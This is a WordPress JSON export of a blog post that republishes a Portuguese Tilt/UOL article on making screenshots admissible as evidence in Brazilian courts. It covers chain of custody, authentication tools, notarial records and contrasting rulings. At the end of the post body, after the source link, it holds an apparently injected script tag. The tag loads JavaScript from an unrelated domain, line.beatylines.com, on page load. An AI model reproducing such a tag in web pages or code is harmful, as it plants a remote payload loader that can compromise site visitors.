{"id":197,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/so-o-print-nao-serve-como-tornar-capturas-de-telas-uma-prova-na-justica-11-04-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"so-o-print-nao-serve-como-tornar-capturas-de-telas-uma-prova-na-justica-11-04-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/so-o-print-nao-serve-como-tornar-capturas-de-telas-uma-prova-na-justica-11-04-2022\/","title":{"rendered":"S\u00f3 o print n\u00e3o serve? Como tornar capturas de telas uma prova na Justi\u00e7a &#8211; 11\/04\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Se est\u00e1 na internet \u00e9 verdade? Para a Justi\u00e7a brasileira, nem sempre. Pelo menos, quando se trata de prints de <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a> oferecidas como evid\u00eancia em processos judiciais. Mesmo que a captura de tela registre a pr\u00e1tica de algum delito, ainda n\u00e3o h\u00e1 um consenso sobre sua validade nos tribunais.<\/p>\n<p>Apesar do impasse, os printscreens ainda s\u00e3o considerados provas importantes quando certos procedimentos refor\u00e7am sua legitimidade, segundo especialistas ouvidos por <strong>Tilt<\/strong>. Ou seja: \u00e9 preciso demonstrar que foram insuscet\u00edveis a eventuais adultera\u00e7\u00f5es.<\/p>\n<h2>Por que Justi\u00e7a desconfia dos prints<\/h2>\n<p>&#8220;Fica muito dif\u00edcil voc\u00ea tornar essa prova id\u00f4nea, pois essa mensagem pode ter sido alterada antes. A legitimidade fica bastante comprometida. Agora, se o print vier composto de elementos que deem credibilidade, a situa\u00e7\u00e3o muda&#8221;, avalia o advogado Leonardo Pantale\u00e3o, mestre em Direito das Rela\u00e7\u00f5es Sociais pela PUC-SP e s\u00f3cio-fundador da Pantale\u00e3o Advogados.<\/p>\n<p>O advogado Matheus Falivene comenta que a Justi\u00e7a brasileira analisa prints sem autentica\u00e7\u00e3o com desconfian\u00e7a porque hoje em dia h\u00e1 diversas maneiras de adulter\u00e1-los. \u00c9 o caso de aplicativos que fazem montagens de conversas no WhatsApp que se assemelham bastante \u00e0s reais.<\/p>\n<p>Os especialistas alertam que, no caso de processos penais, a Justi\u00e7a ainda \u00e9 mais r\u00edgida. \u00c9 que existe, desde 2019, a chamada &#8220;cadeia de cust\u00f3dia da prova&#8221;, institu\u00edda pelo Pacote Anticrime. Ela estabelece um rito no tratamento de evid\u00eancias que podem embasar a acusa\u00e7\u00e3o, definindo regras de como elas devem ser coletadas, processadas e at\u00e9 descartadas.<\/p>\n<p>&#8220;\u00c9 extremamente importante que a defesa fique atenta para que a cadeia de cust\u00f3dia tenha sido respeitada <em>[com os prints]<\/em>. Se isso n\u00e3o aconteceu, pode ocorrer a nulidade da prova, uma vez que n\u00e3o foram respeitadas as etapas legais&#8221;, acrescenta Pantale\u00e3o.<\/p>\n<h2>Como tornar um print leg\u00edtimo para a Justi\u00e7a<\/h2>\n<p>O primeiro ato que se deve fazer, claro, \u00e9 tirar o print. <strong>Tilt <\/strong>j\u00e1 mostrou as melhores maneiras de fazer isso tanto com <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/01\/05\/como-tirar-print-no-computador-e-notebook-veja-diferentes-maneiras.htm\">computador em sistemas operacionais Windows, Mac e Linux<\/a>; quanto <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2019\/03\/25\/-printando-tudo-aprenda-como-capturar-tela-no-pc-celular-e-tablet.htm\">em celulares e tablets.<\/a><\/p>\n<p>Ap\u00f3s isso, segundo especialistas ouvidos, existem maneiras na pr\u00f3pria internet de provar a autenticidade das imagens, que j\u00e1 foram aceitas em tribunais.<\/p>\n<ul>\n<li><a href=\"https:\/\/originalmy.com\/pricing\/pacweb\" target=\"_blank\" rel=\"noopener\">PAC Web<\/a>: \u00c9 uma extens\u00e3o no seu navegador. Ela gera automaticamente um relat\u00f3rio com c\u00f3digo \u00fanico comprovando que o conte\u00fado foi publicado na internet, postado em redes sociais ou enviado em chats privados. O servi\u00e7o \u00e9 pago, mas mulheres que sofreram viol\u00eancia virtual podem usar a ferramenta gratuitamente atrav\u00e9s do projeto <a href=\"https:\/\/possoprovar.org\/\" target=\"_blank\" rel=\"noopener\">&#8220;Posso Provar&#8221;<\/a>.<\/li>\n<\/ul>\n<ul>\n<li><strong>Startups<\/strong>: Se voc\u00ea quiser deixar esse servi\u00e7o com algu\u00e9m que tenha mais habilidade com tecnologia, existem <a href=\"https:\/\/www.uol.com.br\/tilt\/startups\/\">startups<\/a> especializadas nisso. \u00c9 o caso da Verifact, que emite um relat\u00f3rio t\u00e9cnico certificado com as telas registradas, dados e metadados t\u00e9cnicos audit\u00e1veis.<\/li>\n<\/ul>\n<h2>A boa e velha ata notarial<\/h2>\n<p>Agora, se quiser seguir a maneira mais tradicional, existe a ata notarial, documento emitido em cart\u00f3rio com o que se entende como &#8220;f\u00e9 p\u00fablica&#8221; &#8211; ato verdadeiro e impessoal.<\/p>\n<p>No Brasil, este procedimento \u00e9 muito usado. Um levantamento do CNB (Col\u00e9gio Notarial Brasileiro), a pedido de Tilt, mostra que a emiss\u00e3o de 439.485 atas notariais entre 2017 e 2021. O n\u00famero inclui autentica\u00e7\u00f5es de prints e demais documentos.<\/p>\n<p>Chamam aten\u00e7\u00e3o os meses outubro em 2018 e 2020, quando aconteceram elei\u00e7\u00f5es. Em seus respectivos anos, foram os meses com mais emiss\u00f5es de atas, possivelmente motivadas pela intensa circula\u00e7\u00e3o de fakes news ligadas aos candidatos.<\/p>\n<p>Ao levar o print ao cart\u00f3rio, o tabeli\u00e3o d\u00e1 a &#8220;f\u00e9 p\u00fablica&#8221; na captura de tela ao detalhar o procedimento usado para acessar as mensagens e informar, al\u00e9m do conte\u00fado da conversa, quem s\u00e3o os envolvidos. O profissional tamb\u00e9m ir\u00e1 incluir outros detalhes t\u00e9cnicos que o declarante possa fornecer naquele momento.<\/p>\n<h2>Casos divergentes<\/h2>\n<p>Em julho de 2021, o TRT (Tribunal Regional do Trabalho) da 4\u00aa Regi\u00e3o manteve a demiss\u00e3o por justa causa de uma servidora p\u00fablica de Sapucaia do Sul (RS) que esteve em festas durante um per\u00edodo de dispensa por atestado m\u00e9dico. A decis\u00e3o se deu ap\u00f3s os desembargadores analisaram prints da rede social com fotos que a mostravam nos eventos.<\/p>\n<p>Por\u00e9m, quatro meses antes, o STJ (Superior Tribunal de Justi\u00e7a) anulou um inqu\u00e9rito policial que gerou uma acusa\u00e7\u00e3o por corrup\u00e7\u00e3o contra um r\u00e9u ao incluir, no processo, prints de <a href=\"https:\/\/www.uol.com.br\/tilt\/whatsapp\/\">WhatsApp<\/a> enviados por um denunciante an\u00f4nimo.<\/p>\n<p>Ambos os casos analisaram prints como prova. Qual a diferen\u00e7a entre eles? O STJ desconsiderou as capturas de tela por um detalhe: a acusa\u00e7\u00e3o n\u00e3o conseguiu comprovar que elas eram aut\u00eanticas, sem altera\u00e7\u00f5es ou manipula\u00e7\u00f5es.<\/p>\n<p>&#8220;A tend\u00eancia \u00e9 de que o mero print passe a n\u00e3o ser admitido em todos os ramos do direito, seja ele penal, civil ou trabalhista, por exemplo&#8221;, confirma <span>Falivene<\/span>, tamb\u00e9m doutor em Direito Penal pela USP (Universidade de S\u00e3o Paulo) e professor na p\u00f3s-gradua\u00e7\u00e3o da <span>PUC-Campinas<\/span>.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/11\/como-usar-prints-de-redes-sociais-como-prova-na-justica.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se est\u00e1 na internet \u00e9 verdade? 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